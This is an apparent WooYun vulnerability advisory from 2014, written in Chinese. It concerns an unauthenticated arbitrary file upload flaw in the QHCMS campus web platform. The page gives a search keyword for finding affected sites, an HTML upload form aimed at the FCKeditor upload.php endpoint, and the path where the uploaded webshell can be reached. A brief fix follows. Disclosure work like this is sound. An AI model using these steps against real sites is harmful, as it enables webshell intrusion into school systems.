当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：
wooyun-2014-050491
漏洞标题：
冠邦校园网平台(QHCMS)任意文件上传漏洞
相关厂商：
南京冠邦网络技术有限公司
漏洞作者：
GreenVine
提交时间：
2014-02-12 12:22
修复时间：
2014-05-13 12:22
公开时间：
2014-05-13 12:22
漏洞类型：
文件上传导致任意代码执行
危害等级：
高
自评Rank：
20
漏洞状态：
未联系到厂商或者厂商积极忽略
漏洞来源：
http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]
Tags标签：
无
分享漏洞：
4人收藏 收藏
分享漏洞：
>

漏洞详情

披露状态：

2014-02-12： 积极联系厂商并且等待厂商认领中，细节不对外公开
2014-05-13： 厂商已经主动忽略漏洞，细节向公众公开

简要描述：

冠邦校园网平台的文件上传部分存在绕过漏洞，允许未登录的用户直接上传可执行文件。

详细说明：

http://www.topnt.cn/
1. 以“qhcmsadmin”为关键字，搜索使用冠邦校园网平台的网站。
2. 将以下代码保存为.html，手动POST一个.php文件：

<form enctype="multipart/form-data" action="http://www.EXAMPLE.com/editor/fckeditor/filemanager/upload/php/upload.php" method="post">
 <input name="FCKeditor_File" type="file">
 <input type="submit" value="Upload">
</form>


1.jpg


3. 上传成功则保存在http://www.EXAMPLE.com/images/stories/editorupload/下，使用原始文件名访问即可拿到Webshell。

2.jpg


4. 该平台提供了一键环境部署安装包，但没有做PHP安全限制，导致可以执行任意CMD。

3.jpg

漏洞证明：

2.jpg


修复方案：

FCKEditor增加用户登录状态判断，以及禁止可执行文件的上传。

版权声明：转载请注明来源 GreenVine@乌云

>

漏洞回应

厂商回应：

未能联系到厂商或者厂商积极拒绝